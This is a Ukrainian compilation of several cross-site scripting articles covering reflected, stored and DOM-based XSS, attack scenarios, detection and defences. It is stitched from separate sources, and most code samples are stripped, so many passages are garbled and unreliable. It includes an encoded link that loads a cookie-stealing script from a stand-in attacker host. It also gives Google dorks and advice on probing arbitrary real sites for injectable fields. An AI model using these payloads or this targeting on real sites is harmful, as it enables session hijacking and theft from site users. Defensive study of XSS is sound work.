Орі Сігал (Ory Segal)
Дізнайтеся, як хакери використовують атаку типу "міжсайтовий скриптинг", що вона ушкоджує (а що - ні), як їх визначати, а також як захистити свій Web-сайт та його відвідувачів від подібних зловмисних порушень конфіденційності та безпеки.
Міжсайтовий скриптинг (cross-site scripting або скорочено XSS) - це одна з найчастіших атак рівня програми, яку хакери використовують для злому Web-додатків. XSS – це атака на конфіденційність інформації клієнтів певного Web-сайту. Вона може призвести до повного руйнування системи безпеки, коли дані клієнта крадуться і використовуються надалі для будь-яких цілей. Більшість атак має на увазі участь двох сторін: або зловмисника та Web-сайт, або зловмисника та жертву-клієнта. Проте в атаці XSS беруть участь три сторони: зловмисник, клієнт та веб-сайт.
Метою атаки XSS є крадіжка з комп'ютера клієнта файлів cookie або іншої конфіденційної інформації, яка може ідентифікувати клієнта на веб-сайті. Маючи в своєму розпорядженні інформацію для ідентифікації як легального користувача, зловмисник може діяти на сайті як такий користувач, тобто. вдавати їм. Наприклад, при одному аудиті, який проводиться у великій компанії, можна було за допомогою атаки XSS отримати приватну інформацію користувача та номер його кредитної картки. Це було досягнуто шляхом запуску спеціального коду JavaScript. Цей код був запущений у браузері жертви (клієнта), яка мала привілеї доступу на Web-сайт. Є дуже обмежена кількість привілеїв JavaScript, які не дають доступу скрипту ні до чого, крім інформації, що відноситься до сайту. Важливо підкреслити, що, хоча вразливість і існує на Web-сайті, сам він безпосередньо не ушкоджується. Але цього достатньо, щоб скрипт зібрав файли cookieі відправив їх зловмиснику. У результаті зловмисник отримує потрібні дані та може імітувати жертву.
Давайте назвемо атакований сайт так: www.vulnerable.site. В основі традиційної атаки XSS лежить вразливий скрипт, що знаходиться на вразливому сайті. Цей скрипт зчитує частину HTTP-запиту (зазвичай параметри, але іноді також HTTP-заголовки або шлях) і повторює його для сторінки у відповідь, повністю або тільки частина. При цьому не проводиться очищення запиту (тобто не перевіряється, що запит не містить код JavaScript або HTML-теги). Припустимо, що цей скрипт називається welcome.cgi і його параметром є ім'я. Його можна використовувати так:
Як цим можна зловживати? Зловмисник повинен залучити клієнта (жертву), щоб він клацнув мишею посилання, яке зловмисник йому надає. Це ретельно та зловмисно підготовлене посилання, яке змушує Web-браузер жертви звернутися до сайту (www.vulnerable.site) та виконати вразливий скрипт. Дані для цього скрипта містять код JavaScript, який отримує доступ до файлів cookie, збережених браузером клієнта для сайту www.vulnerable.site. Це допускається, оскільки браузер клієнта "думає", що код JavaScript виходить від сайту www.vulnerable.site. А модель безпеки JavaScript дозволяє скриптам, що походять від певного сайту, отримувати доступ до файлів cookie, які належать цьому сайту.
Відповідь вразливого сайту буде такою:
Welcome to our system ... |
Браузер клієнта-жертви інтерпретує цей запит як HTML-сторінку, що містить частину коду JavaScript. Цей код отримає доступ до всіх файлів cookie, що належать сайту www.vulnerable.site. Отже, він викличе спливаюче вікно в браузері, що показує всі файли cookie клієнта, які відносяться до www.vulnerable.site.
Звичайно, реальна атака мала б на увазі відправлення цих файлів атакуючому. Для цього атакуючий може створити Web-сайт (www.attacker.site) та використати скрипт для отримання файлів cookie. Замість виклику спливаючого вікна зловмисник написав би код, який звертається за URL-адресою до сайту www.attacker.site. У зв'язку з цим виконується скрипт для отримання файлів cookie. Параметром для цього скрипта є вкрадені файли cookie. Таким чином, зловмисник може отримати файли cookie із сервера www.attacker.site.
Негайно після завантаження цієї сторінки браузер виконає вставлений туди код JavaScript і перешле запит скрипту collect.cgi на сайті www.attacker.site разом із значенням файлів cookie із сайту www.vulnerable.site, які вже є у браузері. Це підриває безпеку файлів cookie сайту www.vulnerable.site, які є у клієнта. Це дозволяє зловмиснику прикинутися жертвою. Конфіденційність клієнта повністю порушена.
Примітка.
Зазвичай виклику спливаючого вікна за допомогою JavaScript достатньо, щоб продемонструвати вразливість сайту до атаки XSS. Якщо з JavaScript можна викликати функцію Alert, то зазвичай немає причин, через які виклик може не вийти. Ось чому більшість прикладів атак XSS використовує функцію Alert, яка дуже легко дає змогу визначити успіх атаки.
Атака може статися тільки в браузері жертви, тому самому, який використовувався для доступу до сайту (www.vulnerable.site). Атакуючий повинен змусити клієнта отримати доступ до шкідливого посилання. Цього можна досягти декількома способами.
- Зловмисник посилає електронною поштою повідомлення, що містить HTML-сторінку, яка змушує браузер відкрити посилання. Для цього потрібно, щоб жертва використовувала клієнт електронної пошти, здатний працювати з HTML. А засобом перегляду HTML у клієнті має бути той самий браузер, який використовується для доступу до сайту www.vulnerable.site.
- Клієнт відвідує сайт, можливо створений зловмисником, на якому посилання на зображення або інший активний елемент HTML змушує браузер відкрити посилання. Знову ж таки в цьому випадку обов'язково, щоб для доступу і до цього сайту, і до сайту www.vulnerable.site використовувався той самий браузер.
Шкідливий код на JavaScript може отримати доступ до будь-якої нижче інформації:
- постійні файли cookie (сайту www.vulnerable.site), які зберігає браузер;
- файли cookie в оперативній пам'яті (сайту www.vulnerable.site), які підтримуються екземпляром браузера лише під час перегляду сайту www.vulnerable.site;
- імена інших вікон, що відкриті для сайту www.vulnerable.site.
- будь-яка інформація, яка доступна через поточну модель DOM (із значень, код HTML і т.д.).
Дані для ідентифікації, авторизації та автентифікації зазвичай зберігаються як файли cookie. Якщо ці файли cookie є постійними, то жертва вразлива для атаки навіть тоді, коли вона не використовує браузер у момент доступу до сайту www.vulnerable.site. Однак, якщо файли cookie - тимчасові (наприклад, вони зберігаються в оперативній пам'яті), то на стороні клієнта повинен існувати сеанс зв'язку з сайтом www.vulnerable.site.
Ще одна можлива реалізація ідентифікаційної мітки – це параметр URL. У подібних випадках можна отримати доступ до інших вікон, використовуючи JavaScript наступним чином (припустимо, що ім'я сторінки з потрібними параметрами URL - foobar):
Щоб запустити скрипт на JavaScript, можна використовувати безліч HTML-тегів, крімхакери можуть використовувати конструкцію . Це підходить для сайтів, що фільтрують HTML-тегможна використовувати конструкцію">
Досі ми бачили, що атака XSS може відбуватися у параметрі запиту GET, який відповідає скрипт. Але виконати атаку можна і за допомогою запиту POST, або за допомогою компонента шляху запиту HTTP, і навіть за допомогою деяких заголовків HTTP (наприклад, Referer).
Зокрема компонент шляху (path) корисний, коли сторінка помилки повертає помилковий шлях. У цьому випадку включення шкідливого скрипта в дорогу часто призводить до виконання. Багато Web-серверів уразливі для цієї атаки.
Важливо розуміти, що, хоча Web-сайт і не зачеплять безпосередньо цією атакою (він продовжує нормально працювати, шкідливий код на ньому не виконується, атака DoS не відбувається, і дані з сайту безпосередньо не зчитуються і не підробляються), це все ж таки пролом у системі безпеки, яку сайт пропонує своїм клієнтам чи відвідувачам. Це схоже на сайт, який використовується для розгортання програми зі слабкими мітками безпеки. Через це зловмисник може вгадати мітку безпеки клієнта та вдатися до них (або їй).
Слабким місцем у програмі є скрипт, який повертає свій параметр незалежно від його значення. Хороший скрипт повинен переконатися, що параметр має правильний формат, що він містить прийнятні символи і т.д. Зазвичай немає причин, щоб правильний параметр містив теги HTML або JavaScript. Вони повинні бути видалені з параметра до того, як він буде впроваджений у відповідь або використаний у програмі. Це дозволить забезпечити безпеку.
Убезпечити сайт від атак XSS можна трьома способами.
- За допомогою виконання власної фільтрації вхідних даних (яку іноді називають вхідним санітарним контролем або input sanitation). Для кожного введення користувача (будь це параметр або заголовок HTML), у кожному написаному самостійно скрипті слід застосовувати розширені засоби фільтрації проти тегів HTML, включаючи код JavaScript. Наприклад, скрипт welcome.cgi із попереднього прикладу має фільтрувати тег
кожному параметру кожного скрипта (через браузер із можливостями роботи з JavaScript, щоб виявити найпростіший видвразливості до XSS) браузер викличе вікно JavaScript Alert, якщо текст інтерпретований як JavaScript. Звісно, є кілька варіантів. Тому тестувати лише цей варіант недостатньо. І, як ви вже дізналися, можна вставляти JavaScript в різні поля запиту: параметри, заголовки HTTP і шлях. Однак у деяких випадках (особливо із заголовком HTTP Referer) виконувати атаку за допомогою браузера незручно.
Міжсайтовий скриптинг - це одна з найчастіших атак рівня програми, яку хакери використовують для зламування Web-додатків. Також вона є найнебезпечнішою. Це атака на конфіденційність інформації клієнтів певного веб-сайту. Вона може призвести до повного руйнування системи безпеки, коли дані клієнта крадуться і використовуються надалі для якихось цілей. На жаль, як пояснює ця стаття, це часто робиться без знань про клієнта або організації, що атакується.
Щоб запобігти вразливості Web-сайтів до цих шкідливих дій, важливо, щоб організація реалізувала стратегію і онлайн-і оффлайн-захисту. Це включає засіб автоматизованої перевірки вразливості, який може протестувати на наявність всіх відомих вразливостей Web-сайтів та певних додатків (наприклад, міжсайтовий скриптинг) на сайті. Для повного онлайн-захисту також життєво важливо встановити міжмережевий екран, який може виявляти та блокувати будь-який тип маніпуляцій з кодом та даними, що розміщуються на Web-серверах або за ними.
Всі ми знаємо, що таке міжсайтовий скриптинг, правда? Це вразливість, коли атакуючий посилає зловмисні дані (зазвичай це HTML, що містить код Javascript), які пізніше повертаються додатком, що викликає виконання Javascript коду. Отже, це не так! Існує тип XSS атак, що не відповідає цьому визначенню, принаймні в основних фундаментальних принципах. XSS атаки, визначення яких наведено вище, поділяються на моментальні (зловмисні дані вбудовуються в сторінку, яка повертається браузеру відразу після запиту) і відкладені (зловмисні дані повертаються через деякий час). Але є ще третій тип XSS атак, основу якого лежить відправка зловмисних даних на сервер. Незважаючи на те, що це здається таким, що суперечить здоровому глузду, є два добре описані приклади такої атаки. Ця стаття визначає третій тип XSS атак - XSS через DOM (DOM Based XSS). Тут не буде написано нічого принципово нового про атаку, швидше за нововведення цього матеріалу у виділенні відмінних рис атаки, які є дуже важливими та цікавими.
Розробники та користувачі прикладних додатків повинні розуміти принципи атаки XSS через DOM, оскільки вона становить загрозу для веб-додатків і відрізняється від звичайного XSS. У мережі інтернет є багато web додатків вразливих до XSS через DOM і при цьому перевірених на XSS і визнаних "невразливими" до цього типу атак. Розробники та адміністратори сайтів повинні ознайомитися з методами виявлення та захисту від XSS через DOM, оскільки ці методики відрізняються від прийомів, що використовуються під час роботи зі стандартними XSS вразливістю.
Вступ
Читач повинен бути знайомий з основними принципами XSS атак (, , , , ). Під XSS зазвичай мається на увазі моментальний () і відкладений міжсайтовий скриптинг. При миттєвому XSS зловмисний код (Javascript) повертається атакованим сервером негайно як відповідь на запит HTTP. Відкладений XSS означає, що зловмисний код зберігається на системі, що атакується, і пізніше може бути впроваджений в HTML сторінку вразливої системи. Як було згадано вище, така класифікація передбачає, що фундаментальна властивість XSS полягає в тому, що зловмисний код надсилається з браузера на сервер і повертається в той же браузер (моментальний XSS) або будь-який браузер (відкладений XSS). У цій статті порушується питання, що це неправильна класифікація. Можливість здійснення XSS атаки, що не ґрунтується на впровадженні коду в сторінку, що повертається сервером, мала б серйозний вплив на методи захисту та виявлення. Принципи таких атак обговорюються у цій статті.
Приклад та коментарі
Перед описом найпростішого сценарію атаки важливо наголосити, що методи, що описуються тут, вже неодноразово демонструвалися публічно (наприклад, , і ). Я не претендую на те, що наведені нижче методики описуються вперше (хоча деякі з них мають відмінність від раніше опублікованих матеріалів).
Ознакою вразливого сайту може бути наявність HTML сторінки, що використовує дані з document.location, document.URL або document.referrer (або будь-яких інших об'єктів на які може впливати атакуючий) небезпечним способом.
Примітка для читачів незнайомих із цими об'єктами Javascript: коли код Javascript виконується у браузері, він отримує доступ до кількох об'єктів, представлених у рамках DOM (Document Object Model – Об'єктна Модель Документу). Об'єкт document є головним серед цих об'єктів та надає доступ до більшості властивостей сторінки. Цей об'єкт містить багато вкладених об'єктів, таких як location, URL та referrer. Вони керуються браузером відповідно до точки зору браузера (як буде видно нижче, це дуже суттєво). Отже, document.URL і document.location містять URL сторінки, а точніше те, що браузер має на увазі під URL. Зверніть увагу, ці об'єкти не беруться з HTML-сторінки. Об'єкт document містить об'єкт body, який містить оброблений (parsed) HTML код сторінки.
Не складно знайти HTML сторінку, що містить Javascript код, який аналізує рядок URL (отримавши доступ до неї через document.URL або document.location) і відповідно до її значення виконує деякі дії на стороні клієнта. Нижче наведено приклад такого коду.
За аналогією з прикладом розглянемо наступну HTML сторінку (припустимо, що це зміст http://www.vulnerable.site/welcome.html):
Welcome! Hi
Welcome to our system …Проте запит на кшталт цього –
http://www.vulnerable.site/welcome.html?name=
викликав би XSS. Розглянемо чому: браузер жертви, який отримав це посилання, відправляє HTTP запит на www.vulnerable.site і отримує вищезгадану (статичну!) HTML сторінку. Браузер жертви починає аналізувати цей HTML-код. DOM містить об'єкт document, що має поле URL, і це поле заповнюється значенням URL поточної сторінки в процесі створення DOM. Коли синтаксичний аналізатор доходить до Javascript коду, він виконує його, що викликає модифікацію HTML коду сторінки, що відображається. У даному випадку код посилається на document.URL і так як частина цього рядка під час синтаксичного розбору вбудовується в HTML, який відразу ж аналізується, виявлений код (alert(…)) виконується в контексті тієї ж самої сторінки.
Зауваження:
1. Зловмисний код не вбудовується в HTML-сторінку (на відміну від інших різновидів XSS).
2. Цей експлойт буде працювати, якщо браузер не модифікує символи URL-адреси. Mozilla автоматично кодує символи<’ и ‘>' (%3C і %3E відповідно) у вкладених об'єктах document. Якщо URL було надруковано безпосередньо в рядку адреси, цей браузер невразливий для атаки, описаної в цьому прикладі. Однак, якщо для атаки не потрібні символи<’ и ‘>' (у вихідному незакодованому вигляді) атаку можна здійснити. Microsoft Internet Explorer 6.0 не кодує ‘<’ и ‘>' і тому вразливий до описаної атаки без будь-яких обмежень. Однак існує багато різних сценаріїв атаки, що не потребують<’ и ‘>’, і тому навіть Mozilla не має імунітету до цієї атаки.Методи виявлення та запобігання вразливості цього типу
У прикладі вище зловмисний код все ще передається на сервер (як частина HTTP запиту), тому атака може бути виявлена, як і будь-яка інша XSS атака. Але це вирішувана проблема.
Розглянемо наступний приклад:
http://www.vulnerable.site/welcome.html#name=
Суворіша політика безпеки вимагала б обов'язкового відсилання параметра name. У цьому випадку ви можете зробити наступний запит:
http://www.vulnerable.site/welcome.html?notname=
Навіть якщо корисне навантаження аналізується сервером, захист може гарантуватися лише в тому випадку, якщо запит буде відхилено або відповідь замінено на деякий текст помилки. Звернемося знову і: якщо заголовок Authorization буде просто видалений проміжною системою захисту, це не принесе жодного ефекту, якщо буде повернена оригінальна сторінка. Аналогічно будь-яка спроба обробки даних на сервері шляхом видалення або кодування заборонених символів буде неефективна проти цієї атаки.
У випадку з document.referrer, корисне навантаження надсилається на сервер через заголовок Referer. Однак якщо браузер користувача або проміжний захист видалити цей заголовок - не залишиться жодних слідів атаки, які можна пройти повністю непоміченою.
Підсумовуючи, робимо висновок, що традиційні методи, а саме
1. Кодування даних HTML на стороні сервера
2. Видалення/кодування заборонених вхідних даних на стороні сервера не працює проти DOM XSS.Автоматичний пошук вразливості шляхом "бомбардування" зловмисними даними (іноді званий fuzzing) не буде працювати, так як програми, що використовують цю методику, зазвичай роблять висновки на основі того, присутні впроваджені дані у поверненій сторінці чи ні (замість виконання коду в контексті браузера на стороні клієнта та спостереження за результатами). Однак, якщо програма може статично аналізувати код Javascript, виявлений на сторінці, вона може вказати на підозрілі ознаки (див. нижче). І звичайно, якщо засоби захисту можуть виконувати код Javascript (і коректно ініціалізувати об'єкти DOM) або емулювати таке виконання, вони зможуть виявити цю атаку.
Ручний пошук вразливості за допомогою браузера також буде працювати, тому що браузер може виконувати клієнтський код Javascript. Засоби пошуку вразливостей можуть використовувати цей метод і виконувати код на стороні клієнта для стеження за результатами його виконання.
Ефективний захистУникати перезапису документа на стороні клієнта, переадресації або інших подібних дій, що використовують дані на стороні клієнта. Більшість цих дій може бути виконано за допомогою динамічних сторінок (на стороні сервера).
2.Аналіз та підвищення захищеності коду (Javascript) на стороні клієнта. Посилання на об'єкти DOM, на які може впливати користувач (атока), повинні бути ретельно перевірені. Особливу увагу слід приділяти наступним об'єктам (але не обмежуватися ними):
* document.URL
* document.URLUnencoded
* document.location (і його властивості)
* document.referrer
* window.location (і його властивості)Зверніть увагу: на властивості об'єктів document і window можна послатися декількома способами: явно (приклад window.location), неявно (приклад location) або через отримання дескриптора та використання його (приклад handle_to_some_window.location).
Особливу увагу потрібно приділити коду, де модифікується DOM, явно чи є потенційна можливість, а також через прямий доступ до HTML або через доступ безпосередньо до DOM. Приклади (це ні в якому разі не вичерпний список):
* Запис у HTML код сторінки:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Зміна DOM безпосередньо (включаючи події DHTML):
o document.forms.action=… (та інші варіації)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o document.body. … (доступ до DOM через об'єкт body)
o window.attachEvent(…)
* Зміна URL документа:
o document.location=… (а також присвоєння значень href, host і hostname об'єкта location)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Відкриття/модифікація об'єкта window:
o document.open(…)
o window.open(…)
o window.location.href=… (а також присвоєння значення host і hostname об'єкта location)
* Виконання скрипта безпосередньо:
o eval(…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)Протягом вищезгаданого прикладу для ефективного захисту оригінальний скрипт може бути замінений наступним кодом, який перевіряє рядок, що записується в HTML сторінку на наявність тільки алфавітно-цифрових символів.
Міжсайтовий скриптинг (XSS) - це вразливість, яка полягає у впровадженні коду, який виконується на стороні клієнта (JavaScript) у веб-сторінку, яку переглядають інші користувачі.
Вразливість виникає через недостатню фільтрацію даних, які користувач надсилає для вставки на веб-сторінку. Набагато простіше зрозуміти на конкретному приклад. Згадайте будь-яку гостьову книгу – це програми, які призначені для прийняття даних від користувача та подальшого їх відображення. Уявімо, що гостьова книга ніяк не перевіряє і не фільтрує дані, що вводяться, а просто їх відображає.
Можна накидати свій найпростіший скрипт (немає нічого простіше, ніж писати погані скрипти на PHP - цим дуже багато хто займається). Але вже достатньо готових варіантів. Наприклад, я пропоную почати знайомство з Dojo та OWASP Mutillidae II. Там є схожий приклад. В автономному середовищі Dojo перейдіть у браузері за посиланням: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Якщо хтось із користувачів ввів:
То веб-сторінка відобразить:
Вітання! Подобається твій веб-сайт.
Якщо користувач введе так:
Вітання! Подобається твій веб-сайт.
То це відобразиться так:
Браузери зберігають безліч кукіз великої кількості сайтів. Кожен сайт може отримати кукіз тільки збережені ним самим. Наприклад, сайт example.com зберіг у вашому браузері деякі кукізи. Ви заши на сайт another.com, цей сайт (клієнтські та серверні скрипти) не можуть отримати доступ до кукізів, які зберіг сайт example.com.
Якщо сайт example.com вразливий до XSS, це означає, що ми можемо тим чи іншим способом впровадити код JavaScript, і цей код буде виконуватися від імені сайту example.com! Тобто. цей код отримає, наприклад, доступ до кукіз сайту example.com.
Думаю, всі пам'ятають, що виконується JavaScript у браузерах користувачів, тобто. за наявності XSS, впроваджений шкідливий код отримує доступ до даних користувача, який відкрив сторінку веб-сайту.
Впроваджений код вміє все те, що вміє JavaScript, а саме:
- отримує доступ до кукіз сайту, що переглядається
- може вносити будь-які зміни в зовнішній виглядсторінки
- отримує доступ до буфера обміну
- може впроваджувати програми на JavaScript, наприклад, кі-логери (перехоплювачі натиснутих клавіш)
- підчіпляти на BeEF
- та ін.
Найпростіший приклад з кукіз:
Насправді, alertвикористовується лише для виявлення XSS. Реальне шкідливе корисне навантаження здійснює приховані дії. Вона приховано зв'язується з віддаленим сервером зловмисника та передає на нього вкрадені дані.
Види XSS
Найголовніше, що потрібно розуміти про види XSS те, що вони бувають:
- Зберігані (постійні)
- Відображені (Непостійні)
Приклад постійних:
- Введене зловмисником спеціально сформоване повідомлення у гостьову книгу (коментар, повідомлення форуму, профіль), яке зберігається на сервері, завантажується з сервера щоразу, коли користувачі запитують відображення цієї сторінки.
- Зловмисник отримав доступ до даних сервера, наприклад, через SQL ін'єкцію, і впровадив у дані, що видаються користувачеві, дані зловмисний JavaScript код (з кілогерами або з BeEF).
Приклад непостійних:
- На сайті є пошук, який разом з результатами пошуку показує щось на кшталт «Ви шукали: [рядок пошуку]», при цьому дані не фільтруються належним чином. Оскільки така сторінка відображається тільки для того, хто має посилання на неї, то поки зловмисник не надішле посилання іншим користувачам сайту, атака не спрацює. Замість надсилання посилання на жертву, можна використовувати розміщення зловмисного скрипту на нейтральному сайті, який відвідує жертва.
Ще виділяють (деякі як різновиду непостійних XSS вразливостей, деякі кажуть, що цей вид може бути різновидом постійної XSS):
- DOM-моделі
Особливості XSS заснованих на DOM
Якщо сказати дуже просто, то зловмисний код «звичайних» непостійних XSS ми можемо побачити, якщо відкриємо HTML-код. Наприклад, посилання сформоване таким чином:
Http://example.com/search.php?q="/>
А при відкритті вихідного HTML коду ми бачимо щось на зразок такого:
А DOM XSS змінюють DOM структуру, яка формується в браузері на льоту і побачити зловмисний код ми можемо тільки при перегляді структури, що сформувалася DOM. HTML у своїй не змінюється. Давайте візьмемо для прикладу такий код:
сайт:::DOM XSS An error occurred...То в браузері ми побачимо:
Вихідний код сторінки:
Давайте сформуємо адресу так:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Тепер сторінка виглядає так:
Але давайте заглянемо у вихідний код HTML:
Там нічого не змінилося. Про це я й казав, нам потрібно дивитися DOM структуру документа, щоб виявити зловмисний код:
Тут наведено робочий прототип XSS, для реальної атаки нам потрібне складніше корисне навантаження, яке неможливе через те, що програма зупиняє читання відразу після точки з комою, і щось на зразок alert(1);alert(2)вже неможливо. Тим не менш, завдяки unescape()у даних, що повертаються ми можемо використовувати корисне навантаження на кшталт такий:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Де ми замінили символ ; на кодований в URI еквівалент!
Тепер ми можемо написати шкідливе корисне навантаження JavaScript і скласти посилання для відправки жертві, як це робиться для стандартного непостійного міжсайтового скриптингу.
XSS Auditor
В Google Chrome(а також в Opera, яка тепер використовує двигун Google Chrome), мене чекав такий сюрприз:
dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" because його джерело коду було затверджено. Веб-сервер був захищений як сервер, який використовується в "X-XSS-Protection" або "Content-Security-Policy" header.
Тобто. тепер у браузері є XSS аудитор, який намагатиметься запобігати XSS. У Firefox ще немає такої функціональності, але, гадаю, це справа часу. Якщо реалізація в браузерах буде вдалою, то можна говорити про значну скруту застосування XSS.
Корисно пам'ятати, що сучасні браузери роблять кроки з обмеження рівня експлуатації проблем типу непостійних XSS і заснованих на DOM XSS. У тому числі це потрібно пам'ятати при тестуванні веб-сайтів за допомогою браузера - цілком може виявитися, що веб-додаток вразливий, але ви не бачите підтвердження, що спливає, тільки з тієї причини, що його блокує браузер.
Приклади експлуатації XSS
Зловмисники, які мають намір використовувати вразливості міжсайтового скриптингу, повинні підходити до кожного класу вразливостей по-різному. Тут описані вектори атак кожного класу.
При вразливості XSS в атаках можна використовувати BeEF, який розширює атаку з веб-сайту на локальне оточення користувачів.
Приклад атаки з непостійним XSS
1. Аліса часто відвідує певний сайт, який хостить Боб. Веб-сайт Боба дозволяє Алісі здійснювати вхід з ім'ям користувача/паролем та зберігати чутливі дані, такі як платіжна інформація. Коли користувач здійснює вхід, браузер зберігає куки авторизації, які мають безглузді символи, тобто. обидва комп'ютери (клієнт та сервер) пам'ятають, що вона увійшла.
2. Мелорі зазначає, що веб-сайт Боба містить непостійну XSS вразливість:
2.1 При відвідуванні сторінки пошуку, вона вводимо рядок для пошуку і натискає кнопку відправити, якщо результати не знайдені, сторінка відображає введений рядок пошуку, за яким слідують слова «не знайдено» і url має вигляд http://bobssite.org?q=її пошуковий запит
2.2 З нормальним пошуковим запитом на кшталт слова « собачки» сторінка просто відображає « собачкине знайдено» та url http://bobssite.org?q= собачки, що цілком нормальним поведінкою.
2.3 Проте, коли в пошук надсилається аномальний пошуковий запит на кшталт :
2.3.1 З'являється повідомлення із попередженням (що каже "xss").
2.3.2 Сторінка відображає не знайденопоряд із повідомленням про помилку з текстом "xss".
2.3.3 url, придатний для експлуатації http://bobssite.org?q=
3. Мелорі конструює URL для експлуатації вразливості:
3.1 Вона робить URL http://bobssite.org?q=puppies . Вона може вибрати конвертувати ASCII символи в шістнадцятковий формат, такий як http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3Eдля того, щоб люди не змогли негайно розшифрувати шкідливу URL-адресу.
3.2 Вона надсилає e-mail деяким членам сайту Боба, який нічого не підозрює, кажучи: «Зацініть кльових собачок».
4. Аліса отримує листа. Вона любить собачок і кликає за посиланням. Вона переходить на сайт Боба в пошук, вона не знаходить нічого, там відображається "собачки не знайдено", а в самій середині запускається тег зі скриптом (він невидимий на екрані), завантажує та виконує програму Мелорі authstealer.js (спрацьовування XSS атаки). Аліса забуває про це.
5. Програма authstealer.js запускається в браузері Аліси так, ніби її джерелом є сайт Боба. Вона захоплює копію кукі авторизації Аліси і відправляє на сервер Мелорі, де Мелорі їх витягує.
7. Тепер, коли Мелорі всередині, вона йде в платіжний розділ веб-сайту, дивиться та краде копію номера кредитної картки Аліси. Потім вона йде змінює пароль, тобто. тепер Аліса навіть більше не може зайти.
8. Вона вирішує зробити наступний крок і відправляє сконструйоване подібним чином посилання на самого Боба, і таким чином отримує адміністративні привілеї сайту Боба.
Атака з постійним XSS
- Мелорі має обліковий запис на сайті Боба.
- Мелорі зауважує, що веб-сайт боба містить постійну XSS вразливість. Якщо ви переходите в новий розділ, розміщуєте коментар, то він відображає що б не надрукували. Але якщо текст коментаря містить HTML-теги, ці теги будуть відображені як є, і будь-які теги скриптів запускаються.
- Мелорі читає статтю у розділі Новини та пише коментар у розділі Коментарі. У коментарі вона вставляє текст:
- У цій історії мені так сподобалися собачки. Вони такі славні!
- Коли Аліса (або ще хтось) завантажують сторінку з цим коментарем, тег скрипта Мелорі запускається і краде куки авторизації Аліси, відправляє на секретний сервер Мелорі для збору.
- Мелорі тепер може перехопити сесію Аліси та видати себе за Алісу.
Пошук сайтів вразливих до XSS
Дорки для XSS
Першим кроком є вибір сайтів, на яких ми виконуватимемо XSS атаки. Сайти можна шукати за допомогою дорків Google. Ось кілька таких дорків, які скопіюйте і вставте в пошук Гугла:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Перед нами з'явиться список сайтів. Потрібно відкрити сайт і знайти на ньому поля введення, такі як форма зворотного зв'язку, форма введення, пошук сайту і т.д.
Відразу зауважу, що практично марно шукати вразливості в популярних веб-додатках, що автоматично оновлюються. Класичний приклад такої програми - WordPress. Насправді, вразливості у WordPress, а особливо в його плагінах, є. Більше того, є безліч сайтів, які не оновлюють ні двигун WordPress (через те, що веб-майстер вніс у вихідний код якісь свої зміни), ні плагіни та теми (як правило, це піратські плагіни та теми). Але якщо ви читаєте цей розділ і дізнаєтеся з нього щось нове, значить WordPress поки не для вас ... До нього обов'язково повернемося пізніше.
Найкращі цілі - це різноманітні самописні движки та скрипти.
Як корисне навантаження для вставки можна вибрати
Звертайте увагу, в які теги HTML коду потрапляє ваш впроваджений код. Ось приклад типового поля введення ( input):
Наше корисне навантаження потрапить туди, де зараз слово «наволочка». Тобто. перетворитися на значення тега input. Ми можемо цього уникнути - закриємо подвійну лапку, а потім і сам тег за допомогою "/>
"/>
Давайте спробуємо її для якогось сайту:
Добре, вразливість є
Програми для пошуку та сканування XSS вразливості
Напевно, всі сканери веб-застосунків мають вбудований сканер XSS вразливостей. Ця тема є неосяжною, краще знайомитися з кожним подібним сканером окремо.
Існують також спеціалізовані інструменти для сканування на XSS вразливості. У тому числі особливо можна назвати.
Міжсайтовий скриптинг, або Cross site scripting, або XSS, передбачає наявність сайту, що включає непередбачений код Javascript, який, у свою чергу, передається користувачам, що виконують цей код у своїх браузерах. Безневинний приклад XSS (саме такий ви повинні використовувати!) виглядає так:
alert('XSS');
Це створить викличе функцію Javascript alert і створить просте (і нешкідливе) віконце з літерами XSS. У попередніх версіях книги я рекомендував використовувати цей приклад при написанні звітів. Це було так, поки один надзвичайно успішний хакер не сказав мені, що це був "жахливий приклад", пояснивши, що одержувач звіту про вразливість може не зрозуміти небезпеку проблеми та через невинність прикладу виплатити невелику винагороду.
Таким чином, використовуйте цей приклад для виявлення XSS-вразливості, але при складанні звіту подумайте про потенційну шкоду, яка може завдати вразливості та пояснити її. Під цим я не маю на увазі розповідь компанії про те, що ж таке XSS, але пропоную пояснити, чого ви можете досягти, використовуючи вразливість і як саме це могло позначитися на їхньому сайті.
Існує три різних видів XSS, про які ви могли чути при дослідженні та написанні звітів:
- Reflective XSS: ці атаки не зберігаються на сайті, що означає створення та виконання XSS в одному запиті та відповіді.
- Stored XSS: ці атаки зберігаються на сайті і найчастіше небезпечніші. Вони зберігаються на сервері і виконуються на "нормальних" сторінках користувачів, що нічого не підозрюють.
- Self XSS: ці атаки також не зберігаються на сайті і зазвичай використовуються як частина обману людини з метою запуску XSS ним самим. шкода їх користувачам може бути завдано не ними самими, а будь-ким, як у випадку з Reflective і Stored XSS. Однак це не означає, що ви не повинні шукати Self XSS.
Якщо ви знайшли ситуацію, в якій Self XSS може бути виконаний, але не збережений, подумайте про те, як може бути використана ця вразливість, чи зможете ви використовувати її в комбінації з чимось, щоб вона вже не була Self XSS?
Один із найвідоміших прикладів використання XSS – MySpace Samy Work, виконаний Самі Камкаром. У жовтні 2005 року Самі використав вразливість stored XSS на MySpace, що дозволило йому завантажити код Javascript, який виконувався щоразу, коли хтось відвідував його сторінку MySpace, додаючи відвідувача сторінки в друзі профілю Самі. Більше того, код також копіював себе на сторінки нових друзів Самі таким чином, щоб профілі нових його друзів оновлювалися з наступним текстом: but most of all, samy is my hero.
Хоча приклад Самі був відносно нешкідливим, використання XSS дозволяє красти логіни, паролі, банківську інформацію тощо. Незважаючи на потенційну шкоду, виправлення XSS-вразливостей, як правило, не є складним і вимагає від розробників просто екранувати введення користувача (прямо як в HTML-ін'єкції) при його відображенні. Хоча деякі сайти також прибирають потенційно шкідливі символи, коли хакер їх відправляє.
